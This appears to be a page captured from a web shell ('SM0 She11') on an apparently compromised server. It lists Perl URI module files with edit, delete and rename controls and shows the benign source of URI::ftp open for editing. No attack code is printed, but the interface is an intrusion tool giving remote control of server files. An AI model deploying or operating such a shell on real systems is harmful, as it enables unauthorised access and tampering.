SM0 She11
Path:
/
/
usr
/
share
/
perl5
/
URI
Full Path (server): /usr/share/perl5/URI
Create Fil3
Upl04d Fil3
📄 Escape.pm
[E]
[D]
[R]
📄 Heuristic.pm
[E]
[D]
[R]
📄 IRI.pm
[E]
[D]
[R]
📄 QueryParam.pm
[E]
[D]
[R]
📄 Split.pm
[E]
[D]
[R]
📄 URL.pm
[E]
[D]
[R]
📄 WithBase.pm
[E]
[D]
[R]
📄 _foreign.pm
[E]
[D]
[R]
📄 _generic.pm
[E]
[D]
[R]
📄 _idna.pm
[E]
[D]
[R]
📄 _ldap.pm
[E]
[D]
[R]
📄 _login.pm
[E]
[D]
[R]
📄 _punycode.pm
[E]
[D]
[R]
📄 _query.pm
[E]
[D]
[R]
📄 _segment.pm
[E]
[D]
[R]
📄 _server.pm
[E]
[D]
[R]
📄 _userpass.pm
[E]
[D]
[R]
📄 data.pm
[E]
[D]
[R]
📁 file
Open
[D]
[R]
📄 file.pm
[E]
[D]
[R]
📄 ftp.pm
[E]
[D]
[R]
📄 gopher.pm
[E]
[D]
[R]
📄 http.pm
[E]
[D]
[R]
📄 https.pm
[E]
[D]
[R]
📄 ldap.pm
[E]
[D]
[R]
📄 ldapi.pm
[E]
[D]
[R]
📄 ldaps.pm
[E]
[D]
[R]
📄 mailto.pm
[E]
[D]
[R]
📄 mms.pm
[E]
[D]
[R]
📄 news.pm
[E]
[D]
[R]
📄 nntp.pm
[E]
[D]
[R]
📄 pop.pm
[E]
[D]
[R]
📄 rlogin.pm
[E]
[D]
[R]
📄 rsync.pm
[E]
[D]
[R]
📄 rtsp.pm
[E]
[D]
[R]
📄 rtspu.pm
[E]
[D]
[R]
📄 sip.pm
[E]
[D]
[R]
📄 sips.pm
[E]
[D]
[R]
📄 snews.pm
[E]
[D]
[R]
📄 ssh.pm
[E]
[D]
[R]
📄 telnet.pm
[E]
[D]
[R]
📄 tn3270.pm
[E]
[D]
[R]
📁 urn
Open
[D]
[R]
📄 urn.pm
[E]
[D]
[R]
Editing: ftp.pm
package URI::ftp; require URI::_server; require URI::_userpass; @ISA=qw(URI::_server URI::_userpass); use strict; sub default_port { 21 } sub path { shift->path_query(@_) } # XXX sub _user { shift->SUPER::user(@_); } sub _password { shift->SUPER::password(@_); } sub user { my $self = shift; my $user = $self->_user(@_); $user = "anonymous" unless defined $user; $user; } sub password { my $self = shift; my $pass = $self->_password(@_); unless (defined $pass) { my $user = $self->user; if ($user eq 'anonymous' || $user eq 'ftp') { # anonymous ftp login password # If there is no ftp anonymous password specified # then we'll just use 'anonymous@' # We don't try to send the read e-mail address because: # - We want to remain anonymous # - We want to stop SPAM # - We don't want to let ftp sites to discriminate by the user, # host, country or ftp client being used. $pass = 'anonymous@'; } } $pass; } 1;
Save